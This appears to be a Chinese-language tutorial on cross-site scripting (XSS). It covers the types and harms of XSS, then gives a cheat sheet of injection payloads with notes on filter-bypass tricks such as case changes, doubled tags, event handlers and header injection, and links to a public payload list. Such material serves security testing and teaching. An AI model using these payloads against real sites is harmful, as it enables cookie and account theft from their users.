跨站脚本攻击
为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
XSS工作原理
恶意web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。
XSS漏洞的分类
-
本地利用漏洞,这种漏洞存在于页面中客户端脚本自身;
-
反射式漏洞,这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中;
-
存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
XSS攻击的危害
-
盗取用户cookie;
-
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;
-
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;
-
盗窃企业重要的具有商业价值的资料;
-
强制发送电子邮件;
-
网站挂马;
常见的可触发xss的危险函数有:
getURL
navigateToURL
ExternalInterface.call
htmlText
loadMovie
等
xss payload总结
<script>alert(1)</script> ##基础检测版
" onmouseover=alert(1)// ##鼠标摸上去时弹窗,用来绕过编码<>,script被破坏的情况
" onclick=alert(1)// ##鼠标点击弹窗,用来绕过编码<>,script被破坏的情况
' onfocus=javascript:alert('xss') > // ##当input 输入框获取焦点时执行
"> <a href=javascript:alert('xss') > xss</a> // ##使用a标签进行xss,> xss用来生成一个名为xss的可点击对象
"> <a HrEf=javascript:alert('xss') > xss</a> // ##大小写绕过
"><scriscriptpt>alert(1)</scriscriptpt>// ##双写绕过
javascript:alert('xss') ##在自带a标签的情况下,a标签似乎可以直接html实体编码内容,所以被破坏时侯可以试试编码一下
javascript:alert(1)http://www.baidu.com ##当内容被检测时,此处是添加友情链接检测是否含有http://
" type="text" onclick="alert('xss') ##制造一个输入框导致点击xss
referer:" type="text" onclick="alert('xss') ##存在变量接受referer值时候,构造,同理还有cookie,ua头
?src='level1.php?name=<img src=1 onerror=alert(1)>' ##类似于文件包含,当有东西被引入时,引入一个不存在的图片进行xss
<img%a0src="111"%a0onerror=alert('xss')%a0> ##center标签下,利用一张不存在的图片直接xss
>?arg01=a&arg02=b onclick=alert(1) ##在有flash插件情况下可用
xss-payload-list
github地址https://github.com/payloadbox/xss-payload-list
,找到相对的标签可直接查询